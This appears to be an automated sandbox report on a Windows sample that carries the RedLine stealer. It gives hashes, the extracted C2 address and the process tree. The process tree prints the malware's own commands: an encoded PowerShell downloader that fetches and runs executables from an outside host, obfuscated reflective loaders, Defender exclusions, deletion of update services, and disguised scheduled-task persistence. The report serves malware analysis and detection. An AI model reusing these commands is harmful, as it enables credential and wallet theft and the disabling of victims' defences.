Analysis
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max time kernel
150s -
max time network
33s -
platform
windows7_x64 -
resource
win7-20221111-en -
resource tags
arch:x64arch:x86image:win7-20221111-enlocale:en-usos:windows7-x64system -
submitted
05-02-2023 13:04
Static task
static1
Behavioral task
behavioral1
Sample
aa95d6c08ae9201828da23593e42df4a2e39ce82.exe
Resource
win7-20221111-en
Behavioral task
behavioral2
Sample
aa95d6c08ae9201828da23593e42df4a2e39ce82.exe
Resource
win10v2004-20220812-en
General
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Target
aa95d6c08ae9201828da23593e42df4a2e39ce82.exe
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Size
626KB
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MD5
47b01695ff80b03ae518b333163da42c
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SHA1
aa95d6c08ae9201828da23593e42df4a2e39ce82
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SHA256
474301aa2294450d6e60ae07824076744bccc4b2603a03cee01de3b4dbada38e
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SHA512
886a285e76a7d41e14bb1cfef3a464dc47e4b665bfd6905f26961253fd5f4eee0a6fed01afd464d603c8d17f6d09edc475e2fdd4da79178c6be0f54dc5bad466
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SSDEEP
6144:fMEN1L7wFSXZX4KipZx7fuwkBzvGwxAOo8jRfAAfc:f9N1LkFSJX45p3Uhq8jRAAE
Malware Config
Extracted
redline
1
107.182.129.73:21733
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auth_value
3a5bb0917495b4312d052a0b8977d2bb
Signatures
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Modifies security service 2 TTPs 2 IoCs
description ioc Process Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\wuauserv\Parameters reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\wuauserv\Security reg.exe -
RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
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RedLine payload 4 IoCs
resource yara_rule behavioral1/memory/1316-77-0x0000000000400000-0x0000000000420000-memory.dmp family_redline behavioral1/memory/1316-82-0x000000000041ADAE-mapping.dmp family_redline behavioral1/memory/1316-85-0x0000000000400000-0x0000000000420000-memory.dmp family_redline behavioral1/memory/1316-88-0x0000000000400000-0x0000000000420000-memory.dmp family_redline -
Suspicious use of NtCreateUserProcessOtherParentProcess 5 IoCs
description pid Process procid_target PID 1644 created 1248 1644 SmartDefRun.exe 18 PID 1644 created 1248 1644 SmartDefRun.exe 18 PID 1644 created 1248 1644 SmartDefRun.exe 18 PID 1644 created 1248 1644 SmartDefRun.exe 18 PID 1344 created 420 1344 powershell.EXE 3 -
Blocklisted process makes network request 1 IoCs
flow pid Process 4 1332 powershell.exe -
Downloads MZ/PE file
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Drops file in Drivers directory 1 IoCs
description ioc Process File created C:\Windows\System32\drivers\etc\hosts SmartDefRun.exe -
Stops running service(s) 3 TTPs
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Executes dropped EXE 5 IoCs
pid Process 1880 new2.exe 1676 C4Loader.exe 1644 SmartDefRun.exe 1884 SysApp.exe 984 fodhelper.exe -
Loads dropped DLL 9 IoCs
pid Process 1332 powershell.exe 1332 powershell.exe 1332 powershell.exe 1860 WerFault.exe 1860 WerFault.exe 1860 WerFault.exe 1332 powershell.exe 1332 powershell.exe 1332 powershell.exe -
Uses the VBS compiler for execution 1 TTPs
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Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
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Drops file in System32 directory 6 IoCs
description ioc Process File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.EXE File opened for modification C:\Windows\SysWOW64\WindowsPowerShell\v1.0\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.EXE File created C:\Windows\System32\Tasks\Telemetry Logging svchost.exe File opened for modification C:\Windows\System32\Tasks\Telemetry Logging svchost.exe -
Suspicious use of SetThreadContext 4 IoCs
description pid Process procid_target PID 2008 set thread context of 1716 2008 aa95d6c08ae9201828da23593e42df4a2e39ce82.exe 29 PID 1880 set thread context of 1316 1880 new2.exe 36 PID 1644 set thread context of 2016 1644 SmartDefRun.exe 58 PID 1344 set thread context of 2040 1344 powershell.EXE 64 -
Drops file in Program Files directory 1 IoCs
description ioc Process File created C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe SmartDefRun.exe -
Drops file in Windows directory 1 IoCs
description ioc Process File opened for modification C:\Windows\appcompat\programs\RecentFileCache.bcf svchost.exe -
Launches sc.exe 5 IoCs
Sc.exe is a Windows utlilty to control services on the system.
pid Process 1788 sc.exe 1544 sc.exe 112 sc.exe 1388 sc.exe 2000 sc.exe -
Program crash 2 IoCs
pid pid_target Process procid_target 1960 2008 WerFault.exe 27 1860 1880 WerFault.exe 33 -
Creates scheduled task(s) 1 TTPs 3 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 1060 schtasks.exe 832 schtasks.exe 1020 schtasks.exe -
Modifies data under HKEY_USERS 2 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage powershell.EXE Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = c0969ce76a39d901 powershell.EXE -
Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 1332 powershell.exe 1332 powershell.exe 1332 powershell.exe 1332 powershell.exe 1332 powershell.exe 1332 powershell.exe 1332 powershell.exe 1332 powershell.exe 1332 powershell.exe 1884 SysApp.exe 1884 SysApp.exe 1884 SysApp.exe 1884 SysApp.exe 1884 SysApp.exe 1316 vbc.exe 1644 SmartDefRun.exe 1644 SmartDefRun.exe 1396 powershell.exe 1644 SmartDefRun.exe 1644 SmartDefRun.exe 1644 SmartDefRun.exe 1644 SmartDefRun.exe 1724 powershell.exe 1644 SmartDefRun.exe 1644 SmartDefRun.exe 992 powershell.EXE 1344 powershell.EXE 1344 powershell.EXE 2040 dllhost.exe 2040 dllhost.exe 2040 dllhost.exe 2040 dllhost.exe 2040 dllhost.exe 2040 dllhost.exe 2040 dllhost.exe 2040 dllhost.exe 2040 dllhost.exe 2040 dllhost.exe 2040 dllhost.exe 2040 dllhost.exe 2040 dllhost.exe 2040 dllhost.exe 2040 dllhost.exe 2040 dllhost.exe 2040 dllhost.exe 2040 dllhost.exe 2040 dllhost.exe 2040 dllhost.exe 2040 dllhost.exe 2040 dllhost.exe 2040 dllhost.exe 2040 dllhost.exe 2040 dllhost.exe 2040 dllhost.exe 2040 dllhost.exe 2040 dllhost.exe 2040 dllhost.exe 2040 dllhost.exe 2040 dllhost.exe 2040 dllhost.exe 2040 dllhost.exe 2040 dllhost.exe 2040 dllhost.exe 2040 dllhost.exe -
Suspicious use of AdjustPrivilegeToken 11 IoCs
description pid Process Token: SeDebugPrivilege 1332 powershell.exe Token: SeDebugPrivilege 1316 vbc.exe Token: SeDebugPrivilege 1396 powershell.exe Token: SeDebugPrivilege 1724 powershell.exe Token: SeDebugPrivilege 992 powershell.EXE Token: SeDebugPrivilege 1344 powershell.EXE Token: SeDebugPrivilege 1344 powershell.EXE Token: SeDebugPrivilege 2040 dllhost.exe Token: SeShutdownPrivilege 1248 Explorer.EXE Token: SeShutdownPrivilege 1248 Explorer.EXE Token: SeShutdownPrivilege 1248 Explorer.EXE -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 2008 wrote to memory of 1716 2008 aa95d6c08ae9201828da23593e42df4a2e39ce82.exe 29 PID 2008 wrote to memory of 1716 2008 aa95d6c08ae9201828da23593e42df4a2e39ce82.exe 29 PID 2008 wrote to memory of 1716 2008 aa95d6c08ae9201828da23593e42df4a2e39ce82.exe 29 PID 2008 wrote to memory of 1716 2008 aa95d6c08ae9201828da23593e42df4a2e39ce82.exe 29 PID 2008 wrote to memory of 1716 2008 aa95d6c08ae9201828da23593e42df4a2e39ce82.exe 29 PID 2008 wrote to memory of 1716 2008 aa95d6c08ae9201828da23593e42df4a2e39ce82.exe 29 PID 2008 wrote to memory of 1960 2008 aa95d6c08ae9201828da23593e42df4a2e39ce82.exe 30 PID 2008 wrote to memory of 1960 2008 aa95d6c08ae9201828da23593e42df4a2e39ce82.exe 30 PID 2008 wrote to memory of 1960 2008 aa95d6c08ae9201828da23593e42df4a2e39ce82.exe 30 PID 2008 wrote to memory of 1960 2008 aa95d6c08ae9201828da23593e42df4a2e39ce82.exe 30 PID 1716 wrote to memory of 1332 1716 vbc.exe 31 PID 1716 wrote to memory of 1332 1716 vbc.exe 31 PID 1716 wrote to memory of 1332 1716 vbc.exe 31 PID 1716 wrote to memory of 1332 1716 vbc.exe 31 PID 1332 wrote to memory of 1880 1332 powershell.exe 33 PID 1332 wrote to memory of 1880 1332 powershell.exe 33 PID 1332 wrote to memory of 1880 1332 powershell.exe 33 PID 1332 wrote to memory of 1880 1332 powershell.exe 33 PID 1332 wrote to memory of 1676 1332 powershell.exe 35 PID 1332 wrote to memory of 1676 1332 powershell.exe 35 PID 1332 wrote to memory of 1676 1332 powershell.exe 35 PID 1332 wrote to memory of 1676 1332 powershell.exe 35 PID 1880 wrote to memory of 1316 1880 new2.exe 36 PID 1880 wrote to memory of 1316 1880 new2.exe 36 PID 1880 wrote to memory of 1316 1880 new2.exe 36 PID 1880 wrote to memory of 1316 1880 new2.exe 36 PID 1880 wrote to memory of 1316 1880 new2.exe 36 PID 1880 wrote to memory of 1316 1880 new2.exe 36 PID 1880 wrote to memory of 1860 1880 new2.exe 37 PID 1880 wrote to memory of 1860 1880 new2.exe 37 PID 1880 wrote to memory of 1860 1880 new2.exe 37 PID 1880 wrote to memory of 1860 1880 new2.exe 37 PID 1332 wrote to memory of 1644 1332 powershell.exe 38 PID 1332 wrote to memory of 1644 1332 powershell.exe 38 PID 1332 wrote to memory of 1644 1332 powershell.exe 38 PID 1332 wrote to memory of 1644 1332 powershell.exe 38 PID 1332 wrote to memory of 1884 1332 powershell.exe 39 PID 1332 wrote to memory of 1884 1332 powershell.exe 39 PID 1332 wrote to memory of 1884 1332 powershell.exe 39 PID 1332 wrote to memory of 1884 1332 powershell.exe 39 PID 1484 wrote to memory of 112 1484 cmd.exe 47 PID 1484 wrote to memory of 112 1484 cmd.exe 47 PID 1484 wrote to memory of 112 1484 cmd.exe 47 PID 1484 wrote to memory of 1388 1484 cmd.exe 48 PID 1484 wrote to memory of 1388 1484 cmd.exe 48 PID 1484 wrote to memory of 1388 1484 cmd.exe 48 PID 1484 wrote to memory of 2000 1484 cmd.exe 49 PID 1484 wrote to memory of 2000 1484 cmd.exe 49 PID 1484 wrote to memory of 2000 1484 cmd.exe 49 PID 1484 wrote to memory of 1788 1484 cmd.exe 50 PID 1484 wrote to memory of 1788 1484 cmd.exe 50 PID 1484 wrote to memory of 1788 1484 cmd.exe 50 PID 1484 wrote to memory of 1544 1484 cmd.exe 51 PID 1484 wrote to memory of 1544 1484 cmd.exe 51 PID 1484 wrote to memory of 1544 1484 cmd.exe 51 PID 1484 wrote to memory of 864 1484 cmd.exe 52 PID 1484 wrote to memory of 864 1484 cmd.exe 52 PID 1484 wrote to memory of 864 1484 cmd.exe 52 PID 1484 wrote to memory of 2040 1484 cmd.exe 53 PID 1484 wrote to memory of 2040 1484 cmd.exe 53 PID 1484 wrote to memory of 2040 1484 cmd.exe 53 PID 1724 wrote to memory of 1060 1724 powershell.exe 55 PID 1724 wrote to memory of 1060 1724 powershell.exe 55 PID 1724 wrote to memory of 1060 1724 powershell.exe 55
Processes
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C:\Windows\system32\lsass.exeC:\Windows\system32\lsass.exe1⤵PID:480
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C:\Windows\system32\services.exeC:\Windows\system32\services.exe1⤵PID:464
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k RPCSS2⤵PID:668
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService2⤵PID:840
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C:\Windows\system32\taskhost.exe"taskhost.exe"2⤵PID:1108
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation2⤵PID:1684
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C:\Windows\system32\sppsvc.exeC:\Windows\system32\sppsvc.exe2⤵PID:484
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNoNetwork2⤵PID:1096
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C:\Windows\System32\spoolsv.exeC:\Windows\System32\spoolsv.exe2⤵PID:1032
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService2⤵PID:276
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs2⤵
- Drops file in System32 directory
- Drops file in Windows directory
PID:876 -
C:\Windows\system32\taskeng.exetaskeng.exe {31CC2B36-E077-4F3A-B2A0-E51C9C17CF14} S-1-5-18:NT AUTHORITY\System:Service:3⤵PID:1592
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE "[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+''+[Char](79)+''+[Char](70)+'T'+[Char](87)+''+[Char](65)+''+[Char](82)+'E').GetValue(''+[Char](100)+'i'+[Char](97)+''+[Char](108)+''+[Char](101)+'rs'+'t'+''+[Char](97)+''+[Char](103)+''+[Char](101)+'r')).EntryPoint.Invoke($Null,$Null)4⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:992
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+'S'+''+[Char](79)+''+[Char](70)+''+'T'+''+[Char](87)+''+[Char](65)+''+[Char](82)+''+'E'+'').GetValue(''+[Char](100)+''+[Char](105)+''+[Char](97)+''+[Char](108)+''+[Char](101)+''+[Char](114)+''+[Char](115)+''+[Char](116)+''+'a'+''+'g'+''+[Char](101)+''+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)4⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1344
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C:\Windows\system32\taskeng.exetaskeng.exe {FC3C281A-00F5-45F2-8FEF-13D874B61D2C} S-1-5-21-3406023954-474543476-3319432036-1000:VUIIVLGQ\Admin:Interactive:[1]3⤵PID:1424
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C:\Users\Admin\AppData\Roaming\Microsoft\TelemetryServices\fodhelper.exeC:\Users\Admin\AppData\Roaming\Microsoft\TelemetryServices\fodhelper.exe4⤵
- Executes dropped EXE
PID:984 -
C:\Windows\SysWOW64\schtasks.exe/C /create /F /sc minute /mo 1 /tn "Telemetry Logging" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\TelemetryServices\fodhelper.exe"5⤵
- Creates scheduled task(s)
PID:1020
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted2⤵PID:804
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted2⤵PID:752
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k DcomLaunch2⤵PID:592
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C:\Windows\system32\winlogon.exewinlogon.exe1⤵PID:420
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C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{9cf47289-6ba2-4683-9473-ebeb3644cc63}2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2040
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C:\Windows\system32\lsm.exeC:\Windows\system32\lsm.exe1⤵PID:488
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\\?\C:\Windows\system32\wbem\WMIADAP.EXEwmiadap.exe /F /T /R1⤵PID:1664
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C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1248 -
C:\Users\Admin\AppData\Local\Temp\aa95d6c08ae9201828da23593e42df4a2e39ce82.exe"C:\Users\Admin\AppData\Local\Temp\aa95d6c08ae9201828da23593e42df4a2e39ce82.exe"2⤵
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:2008 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"3⤵
- Suspicious use of WriteProcessMemory
PID:1716 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAG4AYwBjACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAeAB5AHEAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAdQB0AGMAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAYgBlAGsAIwA+ADsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwBjAG8AbgBuAGUAYwB0ADIAbQBlAC4AaABvAHAAdABvAC4AbwByAGcALwB3AG8AdwAvADEALwAyAC8AMwAvADQALwA1AC8ANgAvADcALwBuAGUAdwAyAC4AZQB4AGUAJwAsACAAPAAjAGwAbQBxACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAA8ACMAcgBoAHMAIwA+ACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAdAB2AGQAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAbgBlAHcAMgAuAGUAeABlACcAKQApADwAIwBiAGMAagAjAD4AOwAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAOgAvAC8AYwBvAG4AbgBlAGMAdAAyAG0AZQAuAGgAbwBwAHQAbwAuAG8AcgBnAC8AdwBvAHcALwAxAC8AMgAvADMALwA0AC8ANQAvADYALwA3AC8AQwA0AEwAbwBhAGQAZQByAC4AZQB4AGUAJwAsACAAPAAjAHMAbQBpACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAA8ACMAeAB5AGYAIwA+ACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAdABqAHoAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAQwA0AEwAbwBhAGQAZQByAC4AZQB4AGUAJwApACkAPAAjAHIAegB1ACMAPgA7ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwBjAG8AbgBuAGUAYwB0ADIAbQBlAC4AaABvAHAAdABvAC4AbwByAGcALwB3AG8AdwAvADEALwAyAC8AMwAvADQALwA1AC8ANgAvADcALwBTAG0AYQByAHQARABlAGYAUgB1AG4ALgBlAHgAZQAnACwAIAA8ACMAdAB1AGwAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgADwAIwBjAGwAbgAjAD4AIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABlAG0AcAAgADwAIwB0AGQAawAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBTAG0AYQByAHQARABlAGYAUgB1AG4ALgBlAHgAZQAnACkAKQA8ACMAcAB4AHgAIwA+ADsAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAJwBoAHQAdABwADoALwAvAGMAbwBuAG4AZQBjAHQAMgBtAGUALgBoAG8AcAB0AG8ALgBvAHIAZwAvAHcAbwB3AC8AMQAvADIALwAzAC8ANAAvADUALwA2AC8ANwAvAFMAeQBzAEEAcABwAC4AZQB4AGUAJwAsACAAPAAjAGQAawBjACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAA8ACMAcQBkAGQAIwA+ACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAdwB5AHoAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAUwB5AHMAQQBwAHAALgBlAHgAZQAnACkAKQA8ACMAZgBmAHgAIwA+ADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAYwBuAHEAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAHkAdwBwACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAG4AZQB3ADIALgBlAHgAZQAnACkAPAAjAHcAaABrACMAPgA7ACAAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAC0ARgBpAGwAZQBQAGEAdABoACAAPAAjAHkAagB0ACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABlAG0AcAAgADwAIwBhAHgAagAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBDADQATABvAGEAZABlAHIALgBlAHgAZQAnACkAPAAjAHIAawBrACMAPgA7ACAAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAC0ARgBpAGwAZQBQAGEAdABoACAAPAAjAGEAdQB6ACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABlAG0AcAAgADwAIwBnAHUAaQAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBTAG0AYQByAHQARABlAGYAUgB1AG4ALgBlAHgAZQAnACkAPAAjAG0AegBrACMAPgA7ACAAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAC0ARgBpAGwAZQBQAGEAdABoACAAPAAjAGEAegB0ACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABlAG0AcAAgADwAIwB3AHUAbAAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBTAHkAcwBBAHAAcAAuAGUAeABlACcAKQA8ACMAcwBhAGcAIwA+AA=="4⤵
- Blocklisted process makes network request
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1332 -
C:\Users\Admin\AppData\Local\Temp\new2.exe"C:\Users\Admin\AppData\Local\Temp\new2.exe"5⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:1880 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"6⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1316
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1880 -s 486⤵
- Loads dropped DLL
- Program crash
PID:1860
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C:\Users\Admin\AppData\Local\Temp\C4Loader.exe"C:\Users\Admin\AppData\Local\Temp\C4Loader.exe"5⤵
- Executes dropped EXE
PID:1676
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C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe"C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe"5⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Drivers directory
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
PID:1644
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C:\Users\Admin\AppData\Local\Temp\SysApp.exe"C:\Users\Admin\AppData\Local\Temp\SysApp.exe"5⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
PID:1884 -
C:\Windows\SysWOW64\schtasks.exe/C /create /F /sc minute /mo 1 /tn "Telemetry Logging" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\TelemetryServices\fodhelper.exe"6⤵
- Creates scheduled task(s)
PID:832
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2008 -s 483⤵
- Program crash
PID:1960
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1396
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f2⤵
- Suspicious use of WriteProcessMemory
PID:1484 -
C:\Windows\System32\sc.exesc stop UsoSvc3⤵
- Launches sc.exe
PID:112
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C:\Windows\System32\sc.exesc stop WaaSMedicSvc3⤵
- Launches sc.exe
PID:1388
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C:\Windows\System32\sc.exesc stop wuauserv3⤵
- Launches sc.exe
PID:2000
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C:\Windows\System32\sc.exesc stop bits3⤵
- Launches sc.exe
PID:1788
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C:\Windows\System32\sc.exesc stop dosvc3⤵
- Launches sc.exe
PID:1544
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f3⤵PID:864
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f3⤵PID:2040
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f3⤵
- Modifies security service
PID:1244
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f3⤵PID:1776
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f3⤵PID:1052
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#thpqznhs#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'WindowsDefenderSmartScreenQC' /tr '''C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'WindowsDefenderSmartScreenQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "WindowsDefenderSmartScreenQC" /t REG_SZ /f /d 'C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe' }2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1724 -
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn WindowsDefenderSmartScreenQC /tr "'C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe'"3⤵
- Creates scheduled task(s)
PID:1060
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C:\Windows\System32\dialer.exeC:\Windows\System32\dialer.exe2⤵PID:2016
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C:\Windows\system32\Dwm.exe"C:\Windows\system32\Dwm.exe"1⤵PID:1188
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C:\Windows\system32\conhost.exe\??\C:\Windows\system32\conhost.exe "-21357491572072351234-136335818-1963034013-27153929517401041451266693119811627357"1⤵PID:864
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
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Downloads
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Filesize
1.4MB
MD5bb86a343080f9f4696c250ef31a18d9d
SHA143b2193dcb1d56eac73ba88a7b461822074192d6
SHA256095b49a6a4f0c7535d11e071185fc0e94fb00f1b01730ca583889a70ef7ad7e0
SHA51224807f80547879d3131be311d738b411e335a9489bbe80649fbfd6b6265852e7e9aec461f5e5f5e4e7ea0239c145a18f9b5e91aa31888227b2b080b75a439560
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Filesize
1.4MB
MD5bb86a343080f9f4696c250ef31a18d9d
SHA143b2193dcb1d56eac73ba88a7b461822074192d6
SHA256095b49a6a4f0c7535d11e071185fc0e94fb00f1b01730ca583889a70ef7ad7e0
